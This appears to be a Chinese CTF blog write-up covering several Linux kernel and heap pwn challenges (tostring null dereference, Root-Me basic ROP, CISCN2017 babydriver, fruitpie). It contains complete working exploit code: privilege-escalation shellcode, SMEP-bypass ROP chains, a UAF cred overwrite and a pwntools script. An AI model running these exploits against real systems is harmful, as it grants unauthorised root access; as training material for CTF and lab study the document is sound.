	for (j=i+10;(bufk[j]!='\0') && (bufk[j] != '\n');j++);
	bufk[j]='\0';
	printk("Tostring: Cmd %s\n",bufk+i+10);
	switch(bufk[i+10]) {
	case 'H': 
	  tostring->tostring_read= tostring_read_hexa;
	  break;
	case 'D':
	  tostring->tostring_read= tostring_read_dec;
	  break;
	case 'S':
	  printk("Tostring: Delete stack\n");
	  kfree(tostring->tostring_stack);
	  tostring->tostring_stack=NULL;
	  tostring->tostring_read=NULL;
	  tostring->pointer=0;
	  tostring->pointer_max=0;
	  break;
	case 'N':
	  printk("Tostring: Stack create with size %ld\n",local_strtoul(bufk+i+11,NULL,10));
	  if (tostring->tostring_stack==NULL) tostring_create(local_strtoul(bufk+i+11,NULL,10));
	  if (tostring->tostring_stack==NULL) printk("Tostring: Error, impossible to create stack\n");
	  break;
	}
	i=j+1;
      }
      else {
	printk("tostring: insertion %lld\n",*((long long int *) (bufk+i)));
	if (tostring->pointer >= tostring->pointer_max) 
	  printk(KERN_INFO "Tostring: Stack full\n");
	else
	  tostring->tostring_stack[(tostring->pointer)++]= *((long long int *) (bufk+i));
	i = i+sizeof(long long int);
      }
    }
  kfree(bufk);
  }
  return len;
 
}



 
static struct file_operations pugs_fops =
{
  .owner = THIS_MODULE,
  .open = tostring_open,
  .release = tostring_close,
  .read = tostring_read,
  .write = tostring_write,
};
 
static int __init tostring_init(void) /* Constructor */
{
  printk(KERN_INFO "Tostring registered");
  tostring=kmalloc(sizeof(struct tostring_s), GFP_DMA);
  tostring_create(taille);
  if (alloc_chrdev_region(&first, 0, 8, "tostring") < 0)
  {
    return -1;
  }
  if ((cl = class_create(THIS_MODULE, "chardrv")) == NULL)
  {
    unregister_chrdev_region(first, 1);
    return -1;
  }
  if (device_create(cl, NULL, first, NULL, "tostring") == NULL)
  {
    printk(KERN_INFO "Tostring error");
    class_destroy(cl);
    unregister_chrdev_region(first, 1);
    return -1;
  }
  cdev_init(&c_dev, &pugs_fops);
  if (cdev_add(&c_dev, first, 1) == -1)
  {
    device_destroy(cl, first);
    class_destroy(cl);
    unregister_chrdev_region(first, 1);
    return -1;
  }
 
  printk(KERN_INFO "<Major, Minor>: <%d, %d>\n", MAJOR(first), MINOR(first));
  return 0;
}
 
static void __exit tostring_exit(void) /* Destructor */
{
    printk(KERN_INFO "Tostring unregistered");
    kfree(tostring->tostring_stack);
    unregister_chrdev_region(first, 1);
}
 
module_init(tostring_init);
module_exit(tostring_exit);
 
MODULE_LICENSE("GPL");
MODULE_AUTHOR("F.Boisson");
MODULE_DESCRIPTION("Module Tostring Integers Dec/Hex");

重要需要注意一下两个函数：tostring_read和tostring_write

read
  1. 打印字符串Tostring: read()\n
  2. 调用函数tostring->tostring_read
write
  1. 打印字符串Tostring: write()\n
  2. kmalloc申请chunk
  3. 将输入的内容送入chunk
  4. 末尾置\0
  5. 比较前十个字符，是否都为*
  6. 接着比较第11个字符，是否为H\D\S\N，分别调用不同的功能
    • H：tostring->tostring_read设为tostring_read_hexa
    • D：tostring->tostring_read设为tostring_read_dec
    • S：清空数据
      • tostring->tostring_read设为null
    • N：初始化

漏洞分析

  1. 由于init中有如下指令，故最低可以将mmap映射到0地址。
1
echo 0 > /proc/sys/vm/mmap_min_addr
  1. 若将shellcode通过memcpy函数放入0地址
  2. 那么在S清空栈的时候，tostring->tostring_read被设置为null【NULL在Linux中的定义（/usr/include/linux/stddef.h）：#define NULL 0；#define NULL ((void *)0)C++中NULL为0，而Linux C中，NULL为地址0所指向的内容。 】
  3. 再次执行read时候，tostring->tostring_read会执行0地址中的内容，即可get shell
编写shellcode

目标是调用commit_creds(prepare_kernel_cred(0))，故可编写如下汇编执行

1
2
3
4
xor eax,eax;
call commit_creds;
call prepare_kernel_cred;
ret;

image-20210604144540167

有因为commit_creds和prepare_kernel_cred地址已知

eax是参数？

所以一开始xor eax,eax;将commit_creds参数置零，它的结果放入eax中，作为prepare_kernel_cred的参数，即执行了commit_creds(prepare_kernel_cred(0))

1
2
3
4
xor eax,eax;
call 0xC10711F0;
call 0xC1070E80; 
ret;

通过Radare2，生成对应的shellcode

1
2
winter@ubuntu:~/nullpoint$ rasm2 "xor eax,eax ; call 0xC10711F0 ; call 0xC1070E80 ; ret;"
31c0e8e91107c1e8740e07c1c3

对应的

1
char payload[] = "\x31\xc0\xe8\xe9\x11\x07\xc1\xe8\x74\x0e\x07\xc1\xc3";

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/mman.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <stdint.h>
#include <fcntl.h>
#include <string.h>

char payload[] = "\x31\xc0\xe8\xe9\x11\x07\xc1\xe8\x74\x0e\x07\xc1\xc3";

int main(void){
    char Get_shell[20] ; 
    mmap(0, 4096, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    memcpy(0, payload, sizeof(payload));
    int fd = open("/dev/tostring",2);
    write(fd,"**********S",11);
    read(fd,Get_shell,sizeof(Get_shell));
    system("/bin/sh");
    return 0;
}

image-20210604174655495

调试信息

image-20210604144933474

1
add-symbol-file tostring.ko 0xC8824000 -s .data 0xC88247E0 -s .bss 0xC8824A80

3.[Root-Me]LinKern x86 - basic ROP

下载文件

下载地址

1
2
ssh -p 2223 app-systeme-ch39@challenge03.root-me.org 
密码:	app-systeme-ch39

拷贝文件

1
2
scp -P 2223 app-systeme-ch39@challenge03.root-me.org:/challenge/app-systeme/ch39/* .
密码:	app-systeme-ch39

预备

  1. 解压img的脚本first.sh

    1
    2
    3
    4
    5
    6
    #!/bin/bash
    mv initramfs.img initramfs.img.gz
    gunzip initramfs.img.gz
    mkdir initramfs
    cd initramfs
    cpio -idvm < ../initramfs.img

  2. 编译c文件并放入img，启动qemu的脚本second.sh

    1
    2
    3
    4
    5
    6
    7
    8
    #!/bin/bash
    gcc -m32 -static -o exp exp.c
    cp exp.c initramfs
    cp exp initramfs
    cd initramfs
    find . | cpio -H newc -o > ../initramfs.img
    cd ..
    ./start.sh

3.调试模块基址

1
add-symbol-file ./initramfs/lib/modules/4.10.3/rootme/ch39.ko 0xc8824000 -s .bss 0xc8824440 -s .data 0xc88241a0

image-20210604203258087

4.启动文件start.sh

根据隐藏文件改编

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
app-systeme-ch39@challenge03:~$ cat ._start_vm 
#!/bin/bash -p

PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
CHALLPATH=/challenge/app-systeme/ch39

STTY=$(stty -g)
stty intr ^-

TEMP=$(mktemp -d)
chgrp app-systeme-ch39 ${TEMP}
chmod 770 ${TEMP}

echo ""
echo "A share will be available: host:${TEMP} -> guest:/mnt/share"
echo "Launching the vulnerable machine..."
echo ""

qemu-system-x86_64 \
 -m 32M \
 -cpu kvm64,+smep,check \
 -nographic \
 -kernel $CHALLPATH/bzImage \
 -append 'console=ttyS0 loglevel=3 oops=panic panic=1' \
 -monitor /dev/null \
 -initrd $CHALLPATH/initramfs.img \
 -snapshot \
 -hda $CHALLPATH/passwd.img \
 -fsdev local,id=exp1,path=${TEMP},security_model=mapped -device virtio-9p-pci,fsdev=exp1,mount_tag=rootme

rm -rf "${TEMP}" 2> /dev/null
stty "${STTY}"
1
2
3
4
5
6
7
qemu-system-i386 -s \
-kernel bzImage \
-append nokaslr \
-initrd initramfs.img \
-fsdev local,security_model=passthrough,id=fsdev-fs0,path=/home/winter/basicrop \
-device virtio-9p-pci,id=fs0,fsdev=fsdev-fs0,mount_tag=rootme \
-cpu kvm64,+smep

可以看到开启了smep保护，即不能内核态不能执行用户态代码。

image-20210604204333432

分析init文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#!/bin/sh
 
mount -t devtmpfs none /dev
mount -t proc proc /proc
mount -t sysfs sysfs /sys
 
#
# flag
#
mkdir -p /passwd
mount -t ext2 -o ro /dev/sda /passwd

#
# share
#
mkdir -p /mnt/share
mount -t 9p -o trans=virtio rootme /mnt/share/ -oversion=9p2000.L,posixacl,sync
chmod 777 /mnt/share/

#
# module
#
#这次没有关闭MMAP_MIN_ADDR，也就是将限制mmap映射的最低内存地址
insmod /lib/modules/*/rootme/*.ko
chmod 666 /dev/bof

#
# shell
#
cat /etc/issue
export ENV=/etc/profile
setsid cttyhack setuidgid 1000 sh
 
umount /proc
umount /sys
umount /dev
 
poweroff -f

这次没有关闭MMAP_MIN_ADDR，也就是将限制mmap映射的最低内存地址

分析LKMs文件

1
2
3
4
5
6
7
8
9
winter@ubuntu:~/basicrop/initramfs/lib/modules/4.10.3/rootme$ file ch39.ko 
ch39.ko: ELF 32-bit LSB relocatable, Intel 80386, version 1 (SYSV), BuildID[sha1]=c713ac86971c4a5d343a2537a18a950af493c44d, not stripped
winter@ubuntu:~/basicrop/initramfs/lib/modules/4.10.3/rootme$ checksec ch39.ko 
[*] '/home/winter/basicrop/initramfs/lib/modules/4.10.3/rootme/ch39.ko'
    Arch:     i386-32-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x0)

这次没有源码，主要分析ida中的ko文件

image-20210604230215674

主要分析write函数

  1. 判断size不为0
  2. 将Buf里的长度len的数据循环拷贝到栈上长度0x24的栈上
  3. …

漏洞分析

因为存在栈溢出，所以如果填充40个垃圾数据后，就可以覆盖到eip了

test1

cyclic 40=>生成40个字符

然后返回地址填成0xdeadbeef

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/mman.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <stdint.h>
#include <fcntl.h>
#include <string.h>
int main(void){
    char Payload[0x100] = "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaa\xEF\xBE\xAD\xDE";
    int fd = open("/dev/bof",2);
    write(fd,Payload,0x100);
    return 0;
}

image-20210604210532727

image-20210604210519934

image-20210605000529882

正如我们所想，eip的值为0xdeadbeef然后就挂了。

可以成功控制eip

test2

要绕过smep检验，将cr4的第20位设为0，通过两个gadget实现：

1
2
0xc10174fc : pop eax ; ret
0xc1045053 : mov cr4, eax ; pop ebp ; ret
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/mman.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <stdint.h>
#include <fcntl.h>
#include <string.h>
int main(void){
    char Payload[0x100] = "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaa\xFC\x74\x01\xC1\xD0\x06\x00\x00\x53\x50\x04\xC1\x00\x00\x00\x00\xEF\xBE\xAD\xDE";
    int fd = open("/dev/bof",2);
    write(fd,Payload,0x100);
    return 0;
}

image-20210605000952674

在test2的c后面加上提权的shellcode，即可得到最后的exp

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/mman.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <stdint.h>
#include <fcntl.h>
#include <string.h>

struct trap_frame{
    void *eip;
    uint32_t cs;
    uint32_t eflags;
    void *esp;
    uint32_t ss;
}__attribute__((packed));
struct trap_frame tf;
static char receive[256];
void get_shell(void){
    execl("/bin/sh", "sh", NULL);
}
void init_tf_work(void){
    asm("pushl %cs;popl tf+4;"    //set cs
        "pushfl;popl tf+8;"       //set eflags
        "pushl %esp;popl tf+12;"
        "pushl %ss;popl tf+16;");
    tf.eip = &get_shell;
    tf.esp -= 1024;
}
#define KERNCALL __attribute__((regparm(3)))
void* (*prepare_kernel_cred)(void*) KERNCALL = (void*) 0xC10711F0;
void* (*commit_creds)(void*) KERNCALL = (void*) 0xC1070E80;
void payload(void){
    commit_creds(prepare_kernel_cred(0));
    asm("mov $tf,%esp;"
          "iret;");
}
int main(void){
    char Get_shell[5];
    init_tf_work();
    *((void**)(Get_shell)) = &payload;
    char Payload[0x100] = "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaa\xFC\x74\x01\xC1\xD0\x06\x00\x00\x53\x50\x04\xC1\x00\x00\x00\x00";
    for(int i = 0,j = 56;i < 4;i++,j++){
        Payload[j] = Get_shell[i];//绕过smep后加上提权和get shell
    }
    int fd = open("/dev/bof",2);
    write(fd,Payload,0x100);
    return 0;
}

image-20210605001430795

4.CISCN2017 – babydriver

下载文件

wiki中有这道，可以上github的ctf-challenge中下载

附件

一共给了三个文件：boot.sh、bzImage和rootfs.cpio

  • boot.sh：是启动文件，开启了kvm（虚拟化），但虚拟机中的Ubuntu再启动虚拟化很麻烦，因此可以直接修改启动指令为如下指令，启动脚本start.sh

    1
    2
    3
    4
    5
    6
    7
    8
    #!/bin/bash

    qemu-system-x86_64 -s \
    -initrd rootfs.cpio \
    -kernel bzImage \
    -fsdev local,security_model=passthrough,id=fsdev-fs0,path=/home/winter/babydriver \
    -device virtio-9p-pci,id=fs0,fsdev=fsdev-fs0,mount_tag=rootme \
    -cpu kvm64,+smep

  • bzImage：未压缩的文件系统

  • rootfs.cpio：内核镜像

预备

  1. 解压内核镜像脚本，decompression.sh

    1
    2
    3
    4
    5
    6
    #!/bin/bash
    mv rootfs.cpio rootfs.cpio.gz
    gunzip rootfs.cpio.gz
    mkdir rootfs
    cd rootfs
    cpio -idvm < ../rootfs.cpio

  2. 编译c文件并放入img，启动qemu的脚本input_file.sh

    1
    2
    3
    4
    5
    6
    7
    8
    #!/bin/bash
    gcc -static -o exp exp.c
    cp exp.c rootfs
    cp exp rootfs
    cd rootfs
    find . | cpio -H newc -o > ../rootfs.cpio
    cd ..
    ./start.sh

  3. 调试模块基址

    1
    add-symbol-file ./rootfs/lib/modules/4.4.72/babydriver.ko 0xffffffffc0000000 -s .bss 0xffffffffc0002000 -s .data 0xffffffffc0002440

    image-20210605202802017

  4. 启动文件start.sh

    1
    2
    3
    4
    5
    6
    7
    8
    #!/bin/bash

    qemu-system-x86_64 -s \
    -initrd rootfs.cpio \
    -kernel bzImage \
    -fsdev local,security_model=passthrough,id=fsdev-fs0,path=/home/winter/babydriver \
    -device virtio-9p-pci,id=fs0,fsdev=fsdev-fs0,mount_tag=rootme \
    -cpu kvm64,+smep

    开启了smep保护

    image-20210605204630220

  5. 提权地址

    image-20210605205107457

    1
    2
    void* (*prepare_kernel_cred)(void*) KERNCALL = (void*) 0xffffffff810a1810;
    void* (*commit_creds)(void*) KERNCALL = (void*) 0xffffffff810a1420;

  6. LKMs文件

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    winter@ubuntu:~/babydriver$ cd rootfs/lib/modules/4.4.72/
    winter@ubuntu:~/babydriver/rootfs/lib/modules/4.4.72$ ls
    babydriver.ko
    winter@ubuntu:~/babydriver/rootfs/lib/modules/4.4.72$ file babydriver.ko 
    babydriver.ko: ELF 64-bit LSB relocatable, x86-64, version 1 (SYSV), BuildID[sha1]=8ec63f63d3d3b4214950edacf9e65ad76e0e00e7, not stripped
    winter@ubuntu:~/babydriver/rootfs/lib/modules/4.4.72$ checksec babydriver.ko 
    [*] '/home/winter/babydriver/rootfs/lib/modules/4.4.72/babydriver.ko'
        Arch:     amd64-64-little
        RELRO:    No RELRO
        Stack:    No canary found
        NX:       NX enabled
        PIE:      No PIE (0x0)

    64位的

分析

init

看看即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#!/bin/sh
 
mount -t proc none /proc
mount -t sysfs none /sys
mount -t devtmpfs devtmpfs /dev
chown root:root flag
chmod 400 flag
exec 0</dev/console
exec 1>/dev/console
exec 2>/dev/console

insmod /lib/modules/4.4.72/babydriver.ko
chmod 777 /dev/babydev
echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"
setsid cttyhack setuidgid 1000 sh

umount /proc
umount /sys
poweroff -d 0  -f
LKMs

image-20210605210915873

本题提供了五个函数

  1. open

    image-20210605211023321

    打开设备时，程序申请一个64字节的chunk给全局变量device_buf，并且将size赋值给device_buf_size

  2. write

    image-20210605211737963

    1. 首先看device_buf是否分配了chunk，device_buf_len>要写入的长度
    2. 通过copy_from_user拷贝数据，因为是将rsi的数据拷贝到rdi，也就是将buffer里的数据拷贝到device_buf

  3. read

    与write类似

  4. release

    image-20210605212036394

    释放device_buf指向的chunk，但没有置零【UAF】

  5. ioctl

    image-20210605212140400

    1. esi的值位0x10001
    2. 释放device_buf
    3. 并且申请一个用户传入的size重新分配chunk【v4=v3=rdx】
    4. 然后将size赋值给device_buf_len

漏洞利用

因为open申请的时候，是将地址赋值给一个全局变量babydev_struct.device_buf，且程序将操作结果赋值给给该变量。

  1. 申请两个设备，那么将分配两个设备描述符

    注意，申请多个设备，对他们的操作应该是独立的，但是本题中由于将结果都赋值到一个全局变量中，导致多个设备之间底层使用的是同一个地址。

    image-20210606152944747

    由于程序将结果保存再一个全局变量中，故对两个设备的操作，本质上是对同一地址操作

    • 申请fd1，会申请一块空间，并赋值给了babydev_struct.device_buf
    • 再次申请fd2，同一会再次申请一块空间，覆盖babydev_struct.device_buf里原来的值

  2. ioctl fd1，将全局变量的chunk大小变为cred结构题一样大

    babydev_struct.device_buf=新申请的0xa8的地址

  3. close fd1，释放了fd1，即释放了babydev_struct.device_buf，由于fd1和fd2指向同一地址，故fd2指向了一块以释放内存

  4. fork，将一个进程分裂出一个子进程【父进程将与子进程共享内存空间】

    子进程被创建时将创建对应的struct cred => babydev_struct.device_buf指向的已释放的内存分配走

  5. 通过fd2修改内容，就是修改4中子进程的cred，则提权成功！

调试信息

image-20210606140816472

根据调试信息对比ida可以看出，0xffffffffc00024d0地址就是babydev_struct.device_buf

尚未初始化的时候，值为0

image-20210606144728288

第一次申请设备

image-20210606144740804

第二次申请设备

image-20210606144750687

ioctl，修改设备1chunk的大小为cred_size

image-20210606144805046

释放设备1，此时设备2的device_buf将指向一块以释放内存

image-20210606144818089

cred结构体的前28个字节都被设置为0（包括uid、gid）

image-20210606144822285

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/mman.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <stdint.h>
#include <fcntl.h>
#include <string.h>
int main()
{
    //申请两个设备
    int fd1 = open("/dev/babydev", 2);
    int fd2 = open("/dev/babydev", 2);
    printf("fd1:%d\n",fd1);//文件描述符3
    printf("fd2:%d\n",fd2);//文件描述符4
    
    // 修改device_buf_len 为 sizeof(struct cred)
    ioctl(fd1, 0x10001, 0xA8);

    // 释放fd1，此时，LKMs2的device_buf将指向一块大小为sizeof(struct cred)的已free的内存
    close(fd1);

    // 新起进程的 cred 空间将占用那一块已free的内存
    int pid = fork();
    if(pid < 0)
    {
        puts("[*] fork error!");
        exit(0);
    }

    else if(pid == 0)
    {
        // 篡改新进程的 cred 的 uid，gid 等值为0
        char zeros[30] = {0};
        write(fd2, zeros, 28);

        if(getuid() == 0)
        {
            puts("[+] root now.");
            system("/bin/sh");
            exit(0);
        }
    }

    else
    {
        wait(NULL);
    }
    close(fd2);

    return 0;
}

image-20210606154209689

5.2020高校战疫分享赛 – Kernoob

下载文件

附件 链接

给了四个文件：bzImage、initramfs.cpio、noob.ko和startvm.sh

预备

  1. 解压cpio的dc.sh

    1
    2
    3
    4
    5
    #!/bin/bash
    mkdir initramfs
    cd initramfs
    cpio -idvm < ../initramfs.cpio
    cd ..

  2. 打包文件系统initramfs.cpio的ci.sh

    1
    2
    3
    4
    #!/bin/bash
    cd initramfs
    find . | cpio -H newc -o > ../initramfs.img
    cd ..

  3. 程序基址

    本程序没有lib文件夹

    方法是grep noob /proc/kallsyms

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    ~ $ grep noob /proc/kallsyms
    ffffffffc0002000 t copy_overflow	[noob]
    ffffffffc0003120 r kernel_read_file_str	[noob]
    ffffffffc0002043 t add_note	[noob]
    ffffffffc000211c t del_note	[noob]
    ffffffffc0002180 t show_note	[noob]
    ffffffffc00022d8 t edit_note	[noob]
    ffffffffc0002431 t noob_ioctl	[noob]
    ffffffffc0004000 d fops	[noob]
    ffffffffc0004100 d misc	[noob]
    ffffffffc0003078 r .LC1	[noob]
    ffffffffc00044c0 b pool	[noob]
    ffffffffc0004180 d __this_module	[noob]
    ffffffffc00024f2 t cleanup_module	[noob]
    ffffffffc00024ca t init_module	[noob]
    ffffffffc00024f2 t noob_exit	[noob]
    ffffffffc00024ca t noob_init	[noob]

    其中t、d、b开头的地址就是.text、.data和.bss的基地址

    1
    2
    set architecture i386:x86-64:intel
    add-symbol-file noob.ko 0xffffffffc0002000 -s .data 0xffffffffc0004000 -s .bss 0xffffffffc00044C0

  4. 关闭端口

    1
    2
    netstat -anp |grep 1234
    kill -9 pid

分析

init

这次init是空的，故该为查看/etc/init.d/rcS

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#!/bin/sh

echo "Welcome :)"

mount -t proc none /proc
mount -t devtmpfs none /dev
mkdir /dev/pts
mount /dev/pts

#直接在home下加载的模块
insmod /home/pwn/noob.ko
chmod 666 /dev/noob

echo 1 > /proc/sys/kernel/dmesg_restrict
echo 1 > /proc/sys/kernel/kptr_restrict

cd /home/pwn
setsid /bin/cttyhack setuidgid 1000 sh

umount /proc
poweroff -f
LKMs
1
2
3
4
5
6
7
8
9
winter@ubuntu:~/kernoob$ file noob.ko 
noob.ko: ELF 64-bit LSB relocatable, x86-64, version 1 (SYSV), BuildID[sha1]=7bc6535b4946f6dd01729e9b31c36e400efc8479, not stripped
winter@ubuntu:~/kernoob$ checksec noob.ko 
[*] '/home/winter/kernoob/noob.ko'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x0)

64位程序，只开启了NX

发表于 分类于

fruitpie

思路挺简单的

程序流程

基本上分为四部分。

  1. 输入要分配的chunk大小，打印chunk地址
  2. 输入与分配chunk的偏移，往该地址中输入0x10数据。
  3. malloc(0xA0) => 很明显是要覆盖__malloc_hook
  4. close(1) => 关闭输出，所以要重定向（本地就不需要了）

image-20210428214311968

漏洞利用

根据程序的四个功能，一步步来做

  1. 给定chunk大小并打印

    可以输入一个很大的chunk（和高校战役force的第一步操作类似），泄露的块地址和libc_base偏移固定，故可以得到libc_base

  2. 输入偏移，输入数据

    1. 偏移计算

      • 由功能3可以明确知道，是要覆盖__malloc_hook

      • 由功能1得到了libc_base，可以计算__malloc_hook的地址

      • 故可以利用__malloc_hook地址 - chunk地址 = offset

    2. 数据

      • 输入one_gadget地址即可
      • 本地不需要调整栈帧，直接发送one_gadget即可

  3. malloc(0xA0)

    即可get shell

  4. close(1) [本地不需要]

    需要输出重定向

    "exec 1>&0"

详细过程

0.基本信息

保护全开，libc是2.27的

1
2
3
4
5
6
[*] '/home/winter/mar/fruitpie/fruitpie'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
1
2
3
winter@ubuntu:~/mar/fruitpie$ strings libc.so.6 | grep GNU
GNU C Library (Ubuntu GLIBC 2.27-3ubuntu1.2) stable release version 2.27.
Compiled by GNU CC version 7.5.0.

1.分配大块，计算libc_base

1
2
3
4
5
[DEBUG] Sent 0x8 bytes:
    '1048576\n'
[DEBUG] Received 0x17 bytes:
    '0x7f06e5785010\n'
    'Offset:\n'
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
    0x55d2669e0000     0x55d2669e2000 r-xp     2000 0      /home/winter/mar/fruitpie/fruitpie
    0x55d266be1000     0x55d266be2000 r--p     1000 1000   /home/winter/mar/fruitpie/fruitpie
    0x55d266be2000     0x55d266be3000 rw-p     1000 2000   /home/winter/mar/fruitpie/fruitpie
    0x55d266c68000     0x55d266c89000 rw-p    21000 0      [heap]
    0x7f06e526e000     0x7f06e5455000 r-xp   1e7000 0      /home/winter/mar/fruitpie/libc.so.6
    0x7f06e5455000     0x7f06e5655000 ---p   200000 1e7000 /home/winter/mar/fruitpie/libc.so.6
    0x7f06e5655000     0x7f06e5659000 r--p     4000 1e7000 /home/winter/mar/fruitpie/libc.so.6
    0x7f06e5659000     0x7f06e565b000 rw-p     2000 1eb000 /home/winter/mar/fruitpie/libc.so.6
    0x7f06e565b000     0x7f06e565f000 rw-p     4000 0      
    0x7f06e565f000     0x7f06e5688000 r-xp    29000 0      /lib/x86_64-linux-gnu/ld-2.27.so
    0x7f06e5785000     0x7f06e5888000 rw-p   103000 0      
    0x7f06e5888000     0x7f06e5889000 r--p     1000 29000  /lib/x86_64-linux-gnu/ld-2.27.so
    0x7f06e5889000     0x7f06e588a000 rw-p     1000 2a000  /lib/x86_64-linux-gnu/ld-2.27.so
    0x7f06e588a000     0x7f06e588b000 rw-p     1000 0      
    0x7ffe87583000     0x7ffe875a4000 rw-p    21000 0      [stack]
    0x7ffe875bd000     0x7ffe875c0000 r--p     3000 0      [vvar]
    0x7ffe875c0000     0x7ffe875c2000 r-xp     2000 0      [vdso]
0xffffffffff600000 0xffffffffff601000 r-xp     1000 0      [vsyscall]

0x7f06e5785010 - 0x7f06e526e000 = 0x517010

1
2
3
4
5
6
7
8
p.recvuntil("Enter the size to malloc:")
p.sendline(str(1048576))
p.recvuntil("0x")
chunk_base = int(p.recv(12).strip(),16)
log.success(hex(chunk_base))

libc_base = chunk_base - 0x517010
log.success(hex(libc_base))

2.计算偏移，发送数据

偏移就是offset = malloc_hook - chunk_base

数据就是onegadget[1]+libc_base

1
2
3
4
5
6
7
8
9
malloc_hook = libc_base + libc.sym['__malloc_hook']
offset = malloc_hook - chunk_base
p.recvuntil("Offset:")
p.sendline(hex(offset))

onegadget = [0x415e6,0x4163a,0xdfac1]
p.recvuntil("Data:")
payload = p64(onegadget[1]+libc_base)
p.sendline(payload)

因为程序不支持调试，所以需要用支持debug版本的libc才能看得到，，，懒得再整一遍了orz

完整exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import *
elf = ELF("./fruitpie")
# libc = ELF("/usr/local/glibc-2.27/lib/libc-2.27.so")
# p = process(["/usr/local/glibc-2.27/lib/ld-2.27.so", "./fruitpie"],
            # env={"LD_PRELOAD":"/usr/local/glibc-2.27/lib/libc-2.27.so"})
context.log_level = 'debug'
p = process("./fruitpie",env={"LD_PRELOAD":"./libc.so.6"})
libc = ELF("./libc.so.6")

p.recvuntil("Enter the size to malloc:")
p.sendline(str(1048576))
p.recvuntil("0x")
chunk_base = int(p.recv(12).strip(),16)
log.success(hex(chunk_base))

libc_base = chunk_base - 0x517010
log.success(hex(libc_base))


malloc_hook = libc_base + libc.sym['__malloc_hook']
offset = malloc_hook - chunk_base
p.recvuntil("Offset:")
p.sendline(hex(offset))

onegadget = [0x415e6,0x4163a,0xdfac1]
p.recvuntil("Data:")
payload = p64(0x10a45c+libc_base)
p.sendline(payload)

p.interactive()

babybabybabyheap

2.31的off by one

程序流程

由四个功能，其中exit功能中有一个隐藏功能edit

  1. 程序一开始就送了一个puts的地址，可以计算libc地址
  2. add：根据idx，size，content创建块，其中chunk指针被放入heap_list，长度也存入了size_list
  3. show：根据idx，打印chunk内容
  4. delete：根据size判断是否是否，size_list被置零，不存在uaf
  5. 隐藏功能edit：根据idx，修改内容，但是存在off by one

puts地址

ida反汇编并没有看到这个地址，汇编里面可以清楚看到

image-20210513201026622

image-20210513201127385

隐藏edit功能

main函数反汇编并不好看，直接汇编更加清楚

image-20210513194930539

image-20210513195209948

漏洞利用

off by one

分析程序

在输入函数中，将最后两位置零

image-20210513195310404

add函数中，没有off by one

image-20210513195431863

edit函数中，存在off by one

image-20210513195449902

利用

分配程序，利用off by one，可以将size中代表前面是否释放的1位置零，使得上一个chunk被认为释放，并进行unlink操作。

例如：分配四个块：

  • chunk1 = 0x108（堆块重叠）
  • chunk2 = 0x118
  • chunk3 = 0x1f8（0x201（最后0x10是chunk头，0x1表示上一个块未释放））
  • chunk4 = 0x118（和chunk2相同，为了放在同一链中，chunk2 -> chunk4，修改chunk2中的内容，就可以任意地址申请chunk了）

首先在chunk1中伪造一个fake_chunk

通过chunk2可以将chunk3的大小改为0x200，并修改pre_size为chunk1+chunk2，这样，释放chunk3的时候，会以为fake_chunk也被释放，程序会进行unlink操作，合并三个chunk，这样chunk1和chunk2都是used，和fake_chunk中有重叠。

详细过程

0.基本信息

stripped代表程序去掉了符号表，需要使用debug版本的glibc进行调试

1
2
winter@ubuntu:~/mar/babybabybabyheap$ file babyheap
babyheap: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=c05390deb68a417f8d87365fd817c6396eca7462, for GNU/Linux 3.2.0, stripped

没开pie和relro，地址固定，并且可以修改got表

1
2
3
4
5
6
7
winter@ubuntu:~/ctf$ checksec babyheap 
[*] '/home/winter/ctf/babyheap'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
